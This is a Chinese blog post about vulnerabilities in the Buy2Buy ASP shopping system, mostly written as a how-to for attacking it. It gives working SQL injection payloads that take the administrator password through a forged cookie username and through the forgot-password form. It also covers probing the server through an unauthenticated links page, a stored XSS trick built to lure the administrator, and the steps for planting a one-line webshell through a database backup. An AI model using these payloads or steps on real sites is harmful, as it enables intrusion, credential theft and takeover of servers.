百爾買系統的幾個漏洞
[重要通告]如您遇疑難雜癥,本站支持知識付費業務,掃右邊二維碼加博主微信,可節省您寶貴時間哦!
百爾買系統的幾個漏洞
一、 注入。
1． 發生在更改會員密碼的時候。
代碼：disuser2.asp
復制內容到剪貼板
代碼:
sub changepass()
if strUserName="" then
response.Write "<center>請先登錄</center>"
response.End
end if %>
．．．．．．中間省略 ．．．．．．．
<td width=50% height="25" align="right">用 戶 名：</td>
<td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600>
<% = strUserName %></font></td>
</tr>
．．．．．．中間省略 ．．．．．．．
<%
end sub
上面的代碼把strUserName變量輸出了．我們來看看這個strUserName 是怎么得到的！
在conn.asp里．
代碼如下：
復制內容到剪貼板
代碼:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 1
Fy_Zx = "index.Asp"
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
Response.Write "
alert('出現錯誤！參數 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串！\n\n??請不要在參數中出現：;,and,select,update,insert,delete,chr 等非法字符！');window.close();
"
Case "2"
Response.Write "
location.href='"&Fy_Zx&"'
"
Case "3"
Response.Write "
alert(‘出現錯誤！參數 "&Fy_Cs(Fy_x)&"的值中包含非法字符串！\n\n??請不要在參數中出現：;,and,select,update,insert,delete,chr 等非法字符！');location.href='"&Fy_Zx&"';
"
End Select
．．．．中間省略 ．．．．．
strUserName = "非注冊用戶"
strTitle = "非注冊用戶"
if Request.Cookies("Buy2Buy")("username")<>"" then
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username='"&request.Cookies("Buy2Buy")("username")&"' ",conn,1,1 ／／／這里直接把ＣＯＯＫＩＥ里的ＵＳＥＲＮＡＭＥ拼進了ＳＱＬ，漏洞產生了！
．．．．中間省略 ．．．．．
strUserName = rsVip("UserName")
．．．．中間省略 ．．．．．
set rsVip=nothing
End If
漏洞基本上和那個網軟購物系統一樣．
代碼只對ＱＵＥＲＴ＿ＳＴＲＩＮＧ里的數據進行了關鍵字的檢查．只對ＧＥＴ提交的數據進行了檢查，而且檢查的還不夠嚴格！union asc() chr() 這種都沒過濾的．
利用方法：
先注冊一個會員。然后轉到會員中心，然后打開ＷＳＥ，然后再修改密碼．截取發送的數據包．
把username=ninty改成
復制內容到剪貼板
代碼:
Username=a'%20union%20select%20'1','1','1','1','1',userpassword,'1','1'%20from%20admin%20where%20''='
一個union查詢．因為a是一個不存在的用戶，這樣就只會有union后面的那個select語句的結果出現在recoreset中．
strUserName = rsVip("UserName")
rsVip(“UserName”)取到的正好是userpassword列的值，賦給了strUserName．
然后就被disuser2.asp輸出了．
改后是這樣的：
用ＮＣ提交一下．
把結果輸出到了11.html里．打開后就看到密碼了．
2． 在添加友情連接的時候。發生在links目錄下的look.asp
按理說這個頁面應該是只有管理員才能看的，因為它還有添加與刪除連接的功能。不過這個文件里沒有任何驗證權限的代碼。
而且這個注入點用處不是太大。
看代碼：
復制內容到剪貼板
代碼:
flag=Trim(Request.QueryString("flag"))
．．．．中間省略．．．．．
id=Trim(Request.QueryString("id"))
set conn=server.createobject("ADODB.CONNECTION")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("links.mdb")
conn.open connstr
．．．中間省略．．．．
if flag="1" then
conn.execute("update myoe_links set myoe_pass='Y' where id="&id)
很明顯，id直接加到ＳＱＬ里去了．
不過因為友情連接用的是自己的一個數據庫，所以這個注入點的用處并不大．
不過在知道另一個數據庫的絕對路徑的時候，到是可以跨到這個數據庫去查詢．
我在Ｄ盤放了一個數據庫a.mdb
在注入點后寫上查詢語句： and exists (select * from d:\a.mdb.ccc)
返回的是錯誤頁面：
說明不存在ccc這個表，改成admin呢?
返回正常：
說明存在admin 表，和普通的注入基本上一樣．
再有一個小功能就是可以探測服務器上的目錄結構．不過也屬于雞肋級的．．．．
比如：
現在提示的是找不到文件，說明c：\windows目錄是存在的！
換一個不存在的目錄試試．目錄不存在的時候會提示 ＂不是一個有效路徑＂．
檢測非ＭＤＢ格式的文件是否存在：
錯誤說不可識別的數據庫，表示文件是存在的，如果不存在還是會報文件不存在的錯
3． 找回密碼：disuser2.asp
復制內容到剪貼板
代碼:
set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuestion,UserAnswer from [user] where username='"&trim(request.form("username"))&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "
查無此用戶，請返回！
"
else
．．．中間省略．．．．
response.Write ""&trim(rs("UserQuestion"))&""
end if
rs.close
set rs=nothing
不多解釋了，在首頁點＂忘密＂
然后輸入a' union select userpassword,admin from admin where ''='，就看到管理員密碼了．同樣在更改密碼的時候，username也沒有過濾，也造成了可以更改任意用戶的密碼，不過沒啥太大的有處，因為管理員表和用戶表是分開的，我們不能更改管理員的密碼
二、 跨站．
發生在商品評論那里．B2b_plock.asp
復制內容到剪貼板
代碼:
dim id,action
id=SafeRequest("id",1)
action=request.form("action")
if action="save" then
function HTMLEncode2(fString)
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "
")
fString = Replace(fString, CHR(10), "
")
HTMLEncode2 = fString
end function
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review",conn,1,3
rs.addnew
rs("id")=id
rs("title")=HTMLEncode2(trim(request.form("title")))
rs("reviewcontent")=HTMLEncode2(trim(request.form("reviewcontent")))
rs("reviewdtm")=now()
rs("audit")=0
rs("ipaddr") = Request.ServerVariables("REMOTE_ADDR")
rs.update
rs.close
set rs=nothing
response.write "
"
response.write "您的評論已成功提交!
關閉窗口
"
response.End
end if
只用HTMLEncode2函數過濾了一下chr(13) 和 chr(10) 對我們并沒有什么影響
再看后臺 查看商品評論的代碼：
B2b_glshpl.asp
復制內容到剪貼板
代碼:
20 then
response.write ""&left(trim(rs("reviewcontent")),18)&"..."
else
response.write ""&trim(rs("reviewcontent"))&""
end if%><td height="25">
<% if len(rs("reviewcontent"))>20 then
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&left(trim(rs("reviewcontent")),18)&"...</a>"
else
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&trim(rs("reviewcontent"))&"</a>"
end if%>
</td>
只是trim了一下．沒有過濾．不過這里不能直接輸入<script>alert(‘xxx’);</script>這樣的，注意代碼里，對字符串進行了截取．只輸出左邊的１８個字符．這樣跨站代碼就不能正確執行了．
不過title屬性那里的輸出可是沒有過濾的哦！
我們就利用這一點！
在首頁隨便找一個商品打開后，在評論的地方輸入： "我靠，我對這個產品有很大的意見！！！"
寫的長一點．讓管理看不能一眼把所有內容全看到，這樣他應該就會去點這條評論．
，只要鼠標移到這條評論上．跨站代碼就執行了！
三、 拿ＷＥＢＳＨＥＬＬ
1. ewebeditor 后臺用的是這個編輯器，而且管理員登陸頁沒有刪～
2. 上傳文件，備份數據庫
3. 在添加友情連接的時候，在郵箱處寫入一句話木馬，到后臺備份數據庫，數據庫地址寫../links/links.mdb，就可以了 ，前提是連接的數據庫路徑沒有改；
問題未解決？付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信
所寫所說，是心之所感，思之所悟，行之所得；文當無敷衍，落筆求簡潔。 以所舍，求所獲；有所依，方所成！
支付寶贊助
微信贊助免責聲明,若由于商用引起版權糾紛,一切責任均由使用者承擔。
您必須遵守我們的協議，如您下載該資源，行為將被視為對《免責聲明》全部內容的認可->聯系老梁投訴資源